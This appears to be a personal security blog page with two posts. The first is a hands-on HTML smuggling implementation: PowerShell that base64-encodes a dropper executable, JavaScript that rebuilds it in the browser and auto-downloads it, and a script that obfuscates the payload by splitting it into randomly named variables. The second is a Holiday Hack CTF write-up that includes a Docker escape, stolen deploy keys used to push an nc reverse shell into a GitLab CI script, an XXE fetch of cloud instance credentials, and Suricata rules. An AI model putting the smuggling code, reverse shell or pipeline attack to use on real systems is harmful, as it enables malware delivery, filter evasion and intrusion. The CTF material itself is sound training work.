Matthew Grant's Blog

HTML Smuggling

Fri, 24 Feb 2023 00:00:00 +0000

Intro to HTML Smuggling

HTML smuggling, or T1027.006, is technically a defense evasion technique, although it is heavily used in conjuction with phishing initial access techniques such as T1566.001 and 1566.002. HTML smuggling through both have been seen in the wild, including delivering QakBot through URL and attachments used by NOBELIUM.
The smuggling part behind HTML smugging is referring to the fact that the payload is assembled on the client side rather than directly requested. The hope is that since it isn’t retrieving a remote resource then it’ll avoid passing the actual payload through the perimeter security, instead creating the decoded Javascript blob on the client side and downloading that.

Implementation

Framework

For building the base64 encoded payload on Windows, Powershell can be used fairly easily to base64 encode executables and zip files. From there, you can use that base64 encoded content in the HTML smuggling payload.
I used the Powershell below to start for creating the base64 encoded content.

$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("Documents\dropper\dropper.exe"))
$b64 | Out-File '.\Documents\html smuggling\payload.txt'

For the base content, I’ve followed Outflank’s article fairly heavily for the actual html page. <encoded file> should be replaced with the base64 encoded content generated from the Powershell above, and I’ve used a method separate from the blog post for decoding the base64 content in Javascript.
The rough structure that I’m using to trial it out and build off of is below.

<body>
    <script>
        var file = <encoded file>;
        var characters = atob(file);
        var numbers = new Array(characters.length);
        for (let i = 0; i < characters.length; i++){
            numbers[i] = characters.charCodeAt(i);
        }
        var decodedArray = new Uint8Array(numbers);
        var blob = new Blob([decodedArray], {type: 'octet/stream'});
        var filename = 'runme.exe';
        if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob, filename);
        else{
            var a = document.createElement('a');
            document.body.appendChild(a);
            a.style = 'display: none';
            var url = window.URL.createObjectURL(blob);
            a.href = url;
            a.download = filename;
            a.click();
            window.URL.revokeObjectURL(url);
        }
    </script>
    <h1>hello</h1>
</body>

The page above will download and save a PE file as that’s what I’ve output it as. As well, trying to run it, Safe Run obviously catches it immediately, but it looks like it’s been successfully smuggled and built client-side.

For the actual executable, I was just testing it with a Golang loader that I’ve previously put together.
An example of what this looks like all put together is in a screenshot below.

From here, I was thinking that I’d focus on improving the page’s believability, but I was interested in how people were doing evasion or obsfucation specifically within HTML smuggling so that’s what I moved onto next.

Obsfucation

For obsfucation and evasion, the right way to go looks like further encryption such as the RC4 encryption used in MDSec’s SharpShooter.
To play with it a little further without diving into payload encryption, I thought I’d just build a small script for building the base64 payload with string concatenation. Below is the PowerShell that I put together to do so, it takes the content from Documents\dropper\document.zip in this case, base64 encodes it, splits it into eight separate strings and creates variables for each. The resulting Javascript is then output to Documents\html smuggling\payload.txt in this case.

$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("Documents\dropper\document.zip"))
$threshold = [Math]::Round(($b64 | Measure-Object -Character).Characters / 8)
$div = [System.Collections.Generic.List[System.Object" position="center" style="border-radius: 8px;" >}}($b64 -split "(.{$threshold})" -ne '')
$indexDiv = [System.Collections.Generic.List[System.Object" position="center" style="border-radius: 8px;" >}}($b64 -split "(.{$threshold})" -ne '')
$count = ($div | Measure).Count
"" | Out-File '.\Documents\html smuggling\payload.txt'
$builderDict = @{}
Do {
	$content = Get-Random -InputObject $div
	$index = $div.IndexOf($content)
    $builderIndex = $indexDiv.IndexOf($content)
	$line = 'a'
	$random = Get-Random -Max 1111
	$line += $random
	$line += ' = "'
	$line += $content
	$line += '";'
	$line | Out-File -Append '.\Documents\html smuggling\payload.txt'
	$div.RemoveAt($index)
	$count -= 1
	$varName = 'a'
	$varName += $random
    $builderDict.Add($builderIndex, $varName)
} Until ($count -eq 0)

$builder = 'var file = '
for($i = 0; $i -lt $builderDict.count; $i++){
    $builder += $builderDict[$i]
    if($i -eq $builderDict.count - 1){
        $builder += ";"
    } else {
        $builder += " + "
    }
}

$builder | Out-File -Append '.\Documents\html smuggling\payload.txt'

It works well with building the base64 content and delivering the ZIP as can be seen from the screenshot below.

The actual variables and concatenation in the page can be seen below as well.

The full file for HTML smuggling with the content generated from the PowerShell then looks something like below.

<body>
    <script>   
        {b64 variables}
        var file = a206 + a1041 + a447 + a364 + a1015 + a1108 + a289 + a798;
        var characters = atob(file);
        var numbers = new Array(characters.length);
        for (let i = 0; i < characters.length; i++){
            numbers[i] = characters.charCodeAt(i);
        }
        var decodedArray = new Uint8Array(numbers);
        var blob = new Blob([decodedArray], {type: 'octet/stream'});
        var filename = 'document.zip';
        if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob, filename);
        else{
            var a = document.createElement('a');
            document.body.appendChild(a);
            a.style = 'display: none';
            var url = window.URL.createObjectURL(blob);
            a.href = url;
            a.download = filename;
            a.click();
            window.URL.revokeObjectURL(url);
        }
    </script>
    <h1>hello</h1>
</body>

The over all structure is still heavily based on Outflank’s article.

Resources:

Holiday Hack Solutions

Wed, 18 Jan 2023 00:00:00 +0000

Recover the Tolkien Ring

Wireshark Practice

Challenge description:

Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. 
Get hints for this challenge by typing `hint` in the upper panel of the terminal.

To start the rest of the questions for this challenge, you have to answer yes.

A large number of HTTP requests are seen in the packet capture when loaded into Wireshark. When following the first HTTP stream in Wireshark, you can see that a zip is sent in a response. I then looked into exporting zip files from Wireshark captures, and came across a Unit42 article demonstrating how objects can be exported from captures.
Working from the article, it’s clear that the question is looking for HTTP as an answer due to the exportable object being from an HTTP stream and being an HTTP object.

The answer that you can then submit in the console is http.

Going to the menu that’s spawned from selecting Export Objects > HTTP…, the export list shows three possibilities for objects. Two are app.php, and one is favicon.ico. Looking at the sizes for each of the three files, the largest is clearly app.php at 808 kB so the answer is then app.php.

In the same screenshot as the exportable objects, the packet numbers corresponding to the objects are the left most column in the list. From that screenshot, the packet number for the largest app.php file is 687. The answer is then 687.

Packet number 687 can be manually searched for, or filtered for in Wireshark. From that packet, the source address is 192.185.57.242 which is the answer for this question.

After exporting the largest app.php HTTP object in Wireshark, a few things can be noted. The two main ones for this challenge are the base64 encoded blob that takes up much of the file, and the call to saveAs with the filename at the bottom of the file.

From the saveAs call, the name of the file which is saved to infected hosts is Ref_Sept24-2020.zip. Therefore, the answer to this challenge is Ref_Sept24-2020.zip.

When looking into ways to identify bad TLS certificates in Wireshark, I came across a community answer on the Wireshark forums regarding the concept.
From that answer, it looks like you can just filter for tls.handshake.type == 11 in Wireshark. From there, the certificate details are in the packet information, including the country information for the certificate. In the packet information, the country can be found under RDNSequence id-at-countryName.

To find all of the country names related to the bad certificates, I just manually went through the key exchange requests and recorded the unique countries.
Through that, I found that the answer was Ireland, Israel, South Sudan, United States.

From everything we’ve seen, I believe it’s safe to say that the host is infected.

Windows Event Logs

Challenge description:

Investigate the Windows event log mystery in the terminal or offline. 
Get hints for this challenge by typing `hint` in the upper panel of the Windows Event Logs terminal.

After answering yes, the first question is:

Using less in the provided console shows the date and time at the top of the event viewer file.

The answer is then 12/24/2022.

Manually looking through the event logs in the file, I found a couple events which stand out. Including the one below.

So it looks like the answer is recipe updated.txt.

From here, I kept manually looking through the events in the provided log file, and found one referencing a Powershell command assigning the contents of the Recipe file to the $foo variable. However, the formatting was off when trying to submit the command so I switched to Window’s event viewer to make searching a little easier.
In event viewer, I searched for $foo and found the full, original command.

The answer is then $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}.

The question details that the variable is then used again for saving the content to a new file. Considering this, I searched for $foo again and found the event below.

The command shown in the event and the answer to this question is $foo | Add-Content -Path 'Recipe'.

Searching for Add-Content in event viewer and looking through the resulting events, the most common filename looks to be Recipe.txt which is the answer to this question.

Yes, we’ve previously seen events in the log file which show that files were deleted.

Question 2 was referring to recipe updated.txt which didn’t have an event corresponding to it for file deletion.

Looking at Recipe.txt events, there is a del command executed with the 4104 Event ID. Therefore, the answer for this question is 4104.

Yes, it’s safe to say that the secret ingredient has been compromised.

From question 3, it’s likely that the secret ingredient is honey.

Suricata Regatta

Challenge description:

Help detect this kind of malicious activity in the future by writing some Suricata rules. 
Work with Dusty Giftwrap in the Tolkien Ring to get some hints.

Resources that I found helpful for these challenges are below:

For these ones, I found it helpful to break down the rule per element.
For this specific challenge, the question is asking for an alert rule so the action that we’ll want is alert. The protocol that we’re looking for is DNS.
The source and destination in this case can be any as no hosts are specified, and the ports can be any as well since they aren’t specified.
The direction is singular in this case so we’ll use ->.
At this point the rule looks like alert dns any any -> any any.
From here, the message on the alert is specified in the challenge as “Known bad DNS lookup, possible Dridex infection”.
The second resource from above is helpful for identifying the correct keywords for this challenge. The second field that we’ll have to add is dns.query to be able to get the content field. The content field is the third field for the alert which we want to search for “adv.epostoday.uk” in.
Finally, we can add the nocase flag so it’s not case sensitive, and we can specify a unique sid for the alert.
Therefore the rule that can be added to suricate.rules is:
alert dns any any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:1;)

The second challenge is still looking for an alert, but the protocol in this case is HTTP.
The source address that the challenge is asking for in this case is the infected host of 192.185.57.242, and since the challenge is asking for the internal systems, I used $HOME_NET as the destination address.
Ports can still be any as they aren’t specified in this case. Since the challenge is asking for whenever the infected host communicates with the internal systems, the bidirectional (<>) value can be used.
As well, the message for the alert is specified in the challenge, and a new unique sid can be assigned to this rule.
The alert for this challenge is then:
alert http 192.186.57.242 any <> $HOME_NET any (msg:"Investigate suspicious connections, possible Dridex infection"; sid: 2;)

This challenge is close to the first challenge. The action is alert again for this rule.
In this case however, TLS is going to be used for the protocol in the second field. Source address and port, and destination address and port, can be any for this rule since it’s not specified in the challenge as well.
The expected message is listed in the challenge.
For this challenge, the tls.cert_subject field can be used so that the subject can be filtered for. As well, nocase will be used here so it’s not case sensitive, and a unique sid can be assigned to it.
The rule for this one is then:
alert tls any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:"heardbellith.Icanwepeh.nagoya"; nocase; sid: 3;)

The final question is looking for detection around base64 decoding, and specifies that it wants to just alert as the action as well.
In this case, the HTTP protocol can be used in the alert. Suricata has a great documentation page around HTTP keywords and alerts as well. For this challenge, any can be used for the ports and addresses again, and the direction can be singular for the traffic as well.
The http.response_body keyword can be used so that the response body can be filtered for which is where the requested content will be. That can be filtered on with the content keyword. Then a unique sid can be assigned to the rule and it’s finished.
alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection"; http.response_body; content:"let byteCharacters = atob"; sid: 4;)

And that’s the final suricata challenge, and the final challenge for the Tolkien ring.

Recover the Elfen Ring

Clone with a Difference

Challenge description:

Clone a code repository. 
Get hints for this challenge from Bow Ninecandle in the Elfen Ring.

For this challenge, it looks like git through SSH doesn’t work here. Instead, if you change the git clone command to a standard git clone https://haugfactory.com/asnowball/aws_scripts.git, the repo will be cloned.

From here, if you tail the README.md file and submit the last word, the challenge will return that the answer is correct.

Prison Escape

Challenge description:

Escape from a container. 
Get hints for this challenge from Bow Ninecandle in the Elfen Ring. 
What hex string appears in the host file /home/jailer/.ssh/jail.key.priv?

From just listing the directories on the root directory with ls -la /, it looks like we are in a docker container.

After finding that it’s a docker container, I started looking more into docker container escapes. First, I tried finding a mounted docker socket as I was familiar with that particular escape, but I wasn’t able to find a docker.sock socket on the container. From there, I looked into the effective capabilities for the container.

However, I wasn’t able to make use of those capabilities to escape the container.
After that, I continued looking into docker escapes and came across a CyberArk blog related to docker escapes. Specifically the very first portion titled “Know Thy Enemy”, but instead of using findfs to find a drive from root, it looks like /dev/vda is listed as the root.
sudo mount /dev/vda /mnt/mnt1/ can then be used to mount the root file system to /mnt/mnt1 which can then be explored, and the contents of /home/jailer/.ssh/jail.key.priv can be printed out.

Jolly CI/CD

Challenge description:

Exploit a CI/CD pipeline. 
Get hints for this challenge from Tinsel Upatree in the Elfen Ring.

One of the messages from Tinsel Upatree is below.

Getting onto the internal network, I tried reaching gitlab.flag.net.internal to start the challenge, but the site wasn’t reachable. Instead of starting with the URL, I wasn’t able to identify the site or related sites.
Since the internal subnet is listed under the ifconfig for the machine we’re given, I started an nmap to see if hosts could be identified that way. The nmap command that I used was sudo nmap -sS -p 80 -vvv 172.18.0.0/16 -oN results.txt to run a SYN scan on port 80 for the subnet and output the results to results.txt.
This found a few hosts, including the Wordpress one displayed below.

A larger collection of found hosts are below, and from the DNS resolutions, it looks like the hosts are using local_docker_network as a domain instead of net.internal. That can be seen from the nslookup gitlab.local_docker_network command at the bottom.

Now we can attempt to clone the repo mentioned by Tinsel Upatree with the command of git clone http://gitlab.local_docker_network/rings-of-powder/wordpress.flag.net.internal.git.

A hint that I’d previously gotten in the event recommended git log to show code skeletons, and running it with this repo shows a commit from knee-oh with the message of whoops.

With it looking like we’re on the right track, I then ran git log --stat with this commit to see what actually changed in the repo.

From the screenshot above, it looks like the deploy keys for knee-oh were accidently published in this repository.
Git checkout can be used to checkout the commit containing the deployment keys.
After gaining those keys, I tested the private key by running a new git clone command on the same repo as before, and it looks like they are still working.

I also tested the private key with SSH which showed the user as knee-oh.

So at this point in the challenge, you have compromised the deployment keys of the knee-oh user, and from the files cloned from the public repo, it can be seen that Gitlab runners are being used to deploy the Wordpress site.
The current Gitlab runner in the repo can be seen below.

Since we have the deployment keys for a privileged user on the repo, we can change and commit a new Gitlab runner script to get a reverse shell on the Gitlab server.
For this, I changed the current script to sleep 2 && nc 172.18.0.99 9001 -e /bin/bash where 172.18.0.99 is the address of the console that I have access to, and 9001 is the port that I want to catch a reverse shell on. The sleep command is to ensure that I have time to set up the listener in case the runner is quick in executing.
Then I used git add ., git commit, and git push to push the .gitlab-ci.yml changes. After that, I quickly set up a reverse shell listener with nc -lvnp 9001 and got the reverse shell from the Gitlab server.

If you remember the content from the original Gitlab runner that was being used with this repo, it was using a private key on the Gitlab server to SSH to the Wordpress server to deploy the changes. Instead, we can output the private key from /etc/gitlab-runner/hhc22-wordpress-deploy and SSH from the console provided to the Wordpress machine.
The SSH key can be seen below.

After copying the key that was output, I saved it to wp-key on the provided console, and SSH’d to the root user on the Wordpress machine which succeeded as can be seen in the screenshot below.

Using cat /flag.txt, the flag for this challenge can be output which concludes the Jolly CI/CD challenge, and the Elfen Ring.

Recover the Web Ring

Naughty IP

Challenge description:

Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. 
Most of the traffic to this site is nice, but one IP address is being naughty! 
Which is it? Visit Sparkle Redberry in the Web Ring for hints.

The challenges for this section are all handed out at once. The second challenge references that the first attack is a brute force login so we can use that as a hint. I looked into the weberror.log file and grep’d it for POST requests.
Looking through some of the submitted POST requests, it looks like 18.222.86.32 is sending a large number of requests to the login.html page.

The answer is then 18.222.86.32.

Credential Mining

Challenge description:

The first attack is a brute force login. What's the first username tried?

From the previous challenge, I know that the attacking IP is 18.222.86.32, and I know that they’re sending a large number of POST requests.
I then opened the provided pcap in Wireshark, used the search filter of ip.addr == 18.222.86.32 && http.request.method == POST to look for all of the POST requests that they sent.

After filtering, I use the Follow HTTP Stream feature in Wireshark on the first POST request from the IP to view the first login attempt.

From the POST request, you can see that the attacker attempted to first login with the credentials of alice:philip. Therefore, the answer is alice.

404 FTW

Challenge description:

The next attack is forced browsing where the naughty one is guessing URLs. 
What's the first successful URL path in this attack?

Using the challenge name as a hint, and knowing the bad IP, I used the ip.addr == 18.222.86.32 && http.response.code == 404 Wireshark filter to take a look at what failed requests there are.
It looks like there are a large number of 404 responses which start around the 23355 packet number.

Knowing that the failed requests start at 23355, and that the challenge is asking for the first successful request, I changed the filter to ip.addr == 18.222.86.32 && http.response.code == 200 which will get all of the successful requests for 18.222.86.32. I then just looked for the first successful request after packet number 23355.
The first successful request in the attack looks to be packet number 26774 so I followed that HTTP stream in Wireshark.

Looking into that request, the answer is /proc.

IMDS, XXE, and Other Abbreviations

Challenge description:

The last step in this attack was to use XXE to get secret keys from the IMDS service. 
What URL did the attacker force the server to fetch?

From the last challenge on forced browsing, /proc looks to be a possible endpoint for XXE. To look more into it, I used the filter of ip.addr == 18.222.86.32 && http.request.uri contains "/proc" to track down the requests made to /proc.
Looking into the last request made by 18.222.86.32 to /proc and following the HTTP stream, it looks like they used XXE to retrieve AWS credentials from http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance.

That URL is the solution to this challenge.

Matthew Grant's Blog

HTML Smuggling

Intro to HTML Smuggling

Implementation

Framework

Obsfucation

Resources:

Holiday Hack Solutions

Table of Contents

Recover the Tolkien Ring

Wireshark Practice

Windows Event Logs

Suricata Regatta

Recover the Elfen Ring

Clone with a Difference

Prison Escape

Jolly CI/CD

Recover the Web Ring

Naughty IP

Credential Mining

404 FTW

IMDS, XXE, and Other Abbreviations